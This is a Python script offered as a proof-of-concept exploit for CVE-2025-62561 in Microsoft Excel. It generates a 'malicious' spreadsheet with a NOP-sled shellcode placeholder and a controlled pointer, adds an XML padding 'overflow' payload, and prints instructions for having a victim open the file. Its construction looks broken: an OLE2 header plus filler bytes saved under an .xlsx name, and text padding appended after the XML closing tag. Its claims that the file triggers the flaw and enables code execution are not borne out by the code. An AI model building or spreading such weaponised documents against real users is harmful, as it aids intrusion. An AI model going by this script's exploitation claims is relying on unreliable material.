The following code is for security research and authorized testing only.
python
# CVE-2025-62561 PoC - Malicious Excel File Generator
# This PoC demonstrates the structure needed to trigger the untrusted pointer dereference
# Note: Actual exploitation requires specific memory layout and Excel version
import struct
import os
def create_malicious_excel():
"""
Generate a malicious Excel file that triggers CVE-2025-62561
The vulnerability allows pointer control through specially crafted data
"""
# Excel OLE2 file header
ole2_header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1'
# Compound Document File Format structures
# Modified to trigger untrusted pointer dereference
# Sector allocation table - manipulate to control pointer
sector_allocation = bytearray(512)
# Malicious data stream that triggers the vulnerability
malicious_stream = bytearray()
# Add shellcode placeholder (would need to be customized for actual exploitation)
shellcode = b'\x90' * 256 # NOP sled
shellcode += b'\xcc' * 16 # Breakpoint for debugging
malicious_stream.extend(shellcode)
# Controlled pointer value that will be dereferenced
controlled_pointer = struct.pack('<Q', 0x4141414141414141) # Controllable pointer
malicious_stream.extend(controlled_pointer)
# Padding to reach critical file size
malicious_stream.extend(b'\x00' * (1024 - len(malicious_stream)))
# Create the malicious Excel file
output_file = 'CVE-2025-62561_poc.xlsx'
with open(output_file, 'wb') as f:
f.write(ole2_header)
f.write(sector_allocation)
f.write(malicious_stream)
print(f"[+] Created malicious Excel file: {output_file}")
print(f"[!] This file triggers untrusted pointer dereference in Excel")
print(f"[*] User interaction required: victim must open the file")
return output_file
def create_xml_payload():
"""
Alternative: XML-based payload for newer Excel formats (.xlsx)
"""
xml_content = '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheets>
<sheet name="Sheet1"/>
</sheets>
</workbook>
'''
# Malicious XML with specially crafted data
malicious_xml = xml_content + ('\x41' * 2048) # Padding to trigger overflow
return malicious_xml
if __name__ == '__main__':
print("=" * 60)
print("CVE-2025-62561 PoC Generator")
print("Target: Microsoft Office Excel")
print("Vulnerability: Untrusted Pointer Dereference")
print("=" * 60)
create_malicious_excel()
print("\n[*] To test this PoC:")
print("1. Open the generated file in Microsoft Office Excel")
print("2. The file will trigger the untrusted pointer dereference")
print("3. With proper exploitation, arbitrary code execution is possible")